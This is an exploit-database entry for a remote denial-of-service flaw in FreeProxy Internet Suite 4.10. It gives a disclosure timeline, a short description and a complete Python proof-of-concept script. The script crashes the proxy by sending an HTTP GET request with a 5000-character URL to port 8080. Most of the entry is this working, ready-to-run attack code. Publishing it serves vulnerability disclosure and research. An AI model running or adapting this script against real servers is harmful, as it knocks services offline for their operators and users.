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FreeProxy Internet Suite 4.10 - Denial of Service

Author
Guillaume Kaddouch
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-25858
Category
dos / poc
Date add
02-03-2016
Platform
windows
# Exploit Title: Freeproxy Internet Suite 4.10 Remote DoS
# Date: 01/03/2016
# Exploit Author: Guillaume Kaddouch
#   Twitter: @gkweb76
#   Blog: https://networkfilter.blogspot.com
#   GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://www.handcraftedsoftware.org/
# Software Link: http://www.handcraftedsoftware.org/index.php?page=download&op=getFile&id=2&title=FreeProxy-Internet-Suite
# Version: 4.10.1751
# Tested on: Windows 7 Family x64 (FR)
# Category: DoS
 
"""
Disclosure Timeline:
--------------------
2016-01-29: Vulnerability discovered
2016-01-30: Vendor contacted
2016-03-01: Vulnerability published 
 
  
Description :
-------------
A remote Denial Of Service exists in Freeproxy Internet Suite 4.10.1751 when sending a GET request to the proxy with an overly long URL. 
  
 
Instructions:
-------------
- Starts Freeproxy Internet Suite
- Run this exploit locally or from your remote attacking machine. Multiple sends may be necessary to crash the application.
"""
 
import socket
 
host    = "192.168.135.132"
port    = 8080
 
junk    = '\x41' * 5000
 
buffer  = "GET http://::../%s/index.html HTTP/1.1\r\n" % junk
buffer += "Host: www.google.fr\r\n"
buffer += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1\r\n"
buffer += "\r\n\r\n"
 
try:
    print "[*] Connecting to %s:%d" % (host, port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
    print "[*] Sending buffer %d bytes..." % len(junk)
    s.connect((host, port))
    s.send(buffer)
    s.close()
 
    print "[*] Done."
except:
    print "[-] Error connecting"

#  0day.today [2024-11-14]  #